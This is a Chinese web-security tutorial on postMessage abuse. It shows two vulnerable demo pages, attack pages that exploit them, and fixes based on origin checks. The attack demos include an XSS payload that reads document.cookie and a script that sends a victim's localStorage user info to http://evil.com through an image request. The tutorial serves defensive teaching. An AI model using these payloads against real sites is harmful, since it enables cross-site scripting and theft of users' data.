postMessage 滥用导致的安全风险
栏目: JavaScript · 发布时间: 5年前
内容简介：postMessage是html5新增的一个解决跨域的方法，主要解决不同源的脚本采用异步方式进行有限的通信，可以实现跨文本档、多窗口、跨域消息传递，多用于页面与嵌套的iframe消息传递。由于默认允许跨域，所以导致一些安全问题，主要攻击方式有两种，一是伪造数据发送端，易造成XSS，二是伪造数据获取端，类似JSONP劫持。以下面Demo进行测试分析child.html
0x00 介绍
postMessage是html5新增的一个解决跨域的方法，主要解决不同源的脚本采用异步方式进行有限的通信，可以实现跨文本档、多窗口、跨域消息传递，多用于页面与嵌套的iframe消息传递。由于默认允许跨域，所以导致一些安全问题，主要攻击方式有两种，一是伪造数据发送端，易造成XSS，二是伪造数据获取端，类似JSONP劫持。
0x01 伪造数据发送端
1. Demo
以下面Demo进行测试分析
child.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Web page from child.com</title>
<script type="text/JavaScript">
//event 参数中有 data 属性，就是父窗口发送过来的数据
window.addEventListener("message", function( event ) {
// 把父窗口发送过来的数据显示在子窗口中
document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>";
}, false );
</script>
</head>
<body>
Web page from http://p1.com
<div id="content"></div>
</body>
</html>
child.html 接受任意窗口的消息，并对消息进行输出。
2. 攻击测试
attack.html
<iframe src="http://p1.com/postmessage/child.html" id="otherPage"></iframe>
<script type="text/JavaScript">
var i = document.getElementById("otherPage");
i.onload = function(){
i.contentWindow .postMessage("<img src=x onerror='alert(document.cookie);'", "*");
}
</script>
攻击者将attack.html放于自己的vps上，诱导用户点击，便可触发xss攻击。
3. 原理分析
正常情况下，父窗口中发送的消息为用户不可控消息，此时不存在漏洞，但是子窗口接受父窗口的消息时未对父窗口来源进行限制，并且对父窗口的消息进行输出，所以黑客可伪造父窗口，给子窗口发送有效攻击载荷，从而触发漏洞。
该处风险不仅限于XSS ，如订单支付时由父窗口传输订单详情，子窗口处理支付流程，黑客篡改订单详情，使用户支付了本不属于自己的订单，这种场景也不无可能。
4. 安全应对方案
应对父窗口的来源进行判断，只接受可信父窗口传输的数据。
实例：
<script type="text/JavaScript">
//event 参数中有 data 属性，就是父窗口发送过来的数据
onmessage = function( event ) {
if(event.origin == 'http://p1.com'){
/*
to do something
*/
}
};
</script>
0x02 伪造数据接收端
1. Demo
以下面Demo进行测试分析
child.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>User info center</title>
<script type="text/JavaScript">
var userinfo=localStorage.getItem("userinfo");
window.parent.postMessage(userinfo, "*");
</script>
</head>
<body>
Web page from http://p1.com
</body>
</html>
child.html 可以给任意父窗口发送信息。
2. 攻击测试
attack.html
<script type="text/JavaScript">
onmessage = function( event ) {
if(event.origin == "http://p1.com"){
var img=new Image();
img.src='http://evil.com/?userinfo='+event.data;
document.getElementById("otherPage").appendChild(img);
}
};
</script>
<iframe src="http://p1.com/postmessage/child1.html" id="otherPage"></iframe>
攻击者将attack.html放于自己的vps上，诱导用户点击，用户点击后在 evil.com 上便可收到用户的敏感信息。
3. 原理分析
postMessage() 接受两个参数，第一个参数为向另外一个窗口传递的数据（只能传字符串类型），第二个参数表示目标窗口的源，协议+主机+端口号，是为了安全考虑，如果设置为 * ，则表示可以传递给任意窗口。所以黑客可以伪造父窗口，从而劫持子窗口存储的用户信息。
4. 安全应对方案
合理配置 postMessage() 第二个参数，不贪图方便使用 * 配置，严格限制父窗口来源。
实例：
<script type="text/JavaScript">
var userinfo=localStorage.getItem("userinfo");
window.parent.postMessage(userinfo, "http://p0.com"); // 限制只能给http://p0.com窗口发送数据
</script>
著作权归作者所有。
商业转载请联系作者获得授权，非商业转载请注明出处。
作者：p0
链接：https://p0sec.net/index.php/archives/124/
来源：https://p0sec.net/
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
CSS禅意花园
[美] Dave Shea、Molly E. Holzschlag / 陈黎夫、山崺颋 / 人民邮电出版社 / 2007-6 / 49.00元
这本书的作者是世界著名的网站设计师，书中的范例来自网站设计领域最著名的网站——CSS Zen Garden（CSS禅意花园）。全书分为两个主要部分。第1章为第一部分，讨论网站“CSS禅意花同”及其最基本的主题，包含正确的标记结构和灵活性规划等。第二部分包括6章，占据了书中的大部分篇幅。 每章剖析“CSS禅意花园”收录的6件设计作品，这些作品围绕一个主要的设计概念展开，如文字的使用等。通过探索......一起来看看 《CSS禅意花园》 这本书的介绍吧!
